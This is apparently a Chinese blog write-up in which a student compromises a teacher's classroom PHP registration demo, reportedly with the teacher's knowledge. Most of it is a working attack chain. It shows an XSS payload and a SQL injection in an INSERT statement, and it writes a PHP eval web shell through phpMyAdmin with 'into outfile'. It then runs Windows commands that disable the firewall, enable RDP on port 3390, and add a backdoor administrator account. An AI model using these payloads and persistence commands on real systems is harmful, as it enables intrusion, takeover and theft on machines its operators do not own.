水文章,不过是真实事件

注意:本文所完成操作均已在教师知晓的情况下进行,未对正常教学产生影响,请勿模仿。

前言

某节动态WEB课,老师展示了一个Demo,内容是一个注册系统,注册完后展示有数据库全部已注册的信息(select *),既然是系统那肯定会有不安全的地方存在,老师也说开发过程中要注意种种云云,遂测试发现确实有漏洞,进而写了shell,然后拿到windows教师机权限。全部过程教师已知,以下信息已经过修改,并非真实信息,本文目的旨在技术交流,教师机每天都会进行重置还原,本文操作没有对电脑造成任何破坏,请不要对任何操作系统进行破坏或攻击。

流程

漏洞发现

毕竟是教学Demo,盲猜一手没有任何过滤,果真如此。

注册需要如下信息:姓名,密码,性别,爱好,年龄

注册是index.htm,提交信息到doInsert.php,然后直接跳转到doSelect.php。名称很明显,doSelect.php进行了一个

select * from table;

提交到信息明显是进行了一次插入,猜测后端语句如下。

insert into table(Username,Passwd,Gender,Hobby,Age) values('$Username','$Passwd','$Gender','$Hobbys','$Age');

抓了包看提交到数据,发现都是明文提交,没有任何加密。

xss

提交表单跳转后会直接显示在doSelect.php,先打一下xss。

提交POST包

Username=<scRipt>alert(1)</scrIpT>&Passwd=1&Gender=男&Hobbys=蹦极&Age=20

提交后发现页面没有反应,查看源码,发现username有长度限制

尝试后发现Hobbys处的多选项没有限制固定内容,于是尝试在Hobbys处打xss

Username=zhangsan&Passwd=helloworld&Gender=男&Hobbys=<scRipt>alert(1)</scrIpT>&Age=24

测试成功,成功弹窗了(虽然表格格式乱了)

SQL注入

尝试一下注入,猜测multi没开,所以没法堆叠注入,先闭合。

Username=lisi&Passwd=helloworld&Gender=男\&Hobbys=,version(),'24');--#&Age=24

这样insert的语句就变成了

insert into table(Username,Passwd,Gender,Hobby,Age) values('lisi','helloworld','$Gender\',',version(),'24');--#','24');

很完美,提交

再看一下用户

很好,明显就是phpstudy直接起的服务。

尝试了一下load_fileinto outfile发现8太行,在insert语句里似乎没有执行,尝试hex出来也不行

峰回路转

既然是phpstudy启动的服务,而且作为教学使用,查看一下会不会有其他有用的东西,果然发现了phpinfo.php,获取了其web路径为D:/phpStudy/WWW,看了下信息,似乎还有phpMyAdmin,访问一下/phpMyAdmin,果然存在。

直接猜解一下,登录成功。既然是root就不客气了,直接执行SQL语句在web目录写个码

select "<?php @eval($_POST['admin']);?>" into outfile 'D:/phpStudy/WWW/phpinfo2.php';

蚁剑直接连接

H盘是老师的U盘,为了信息安全我没有访问,当前目录打开命令行

很好,直接就是admin。

尝试远程桌面登录

关闭防火墙

NetSh Advfirewall set allprofiles state off 

看看防火墙是否关闭

Netsh Advfirewall show allprofiles

设置远程桌面端口

尝试设置3389不成功,遂转换为3390

reg add "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /t REG_DWORD /v portnumber /d 3390 /f

开启远程桌面

wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1

检查一下端口是否开放

netstat -an|find "3390"

添加用户

net user admin1 adminadmin /add

授权用户组

net localgroup Administrators admin1 /add

远程登录

此处无图,直接在学生机登录的,在同一网段下

修改多用户同时登录

登录后按照网上教程走,运行打开gprdit.msc

然后进行如下设置

结束

总结

渗透路上的小小一步,没什么技术含量,毕竟是和机房有关,比较有趣。也只是一个引子,打开了这个大门,以后还会继续往下学习。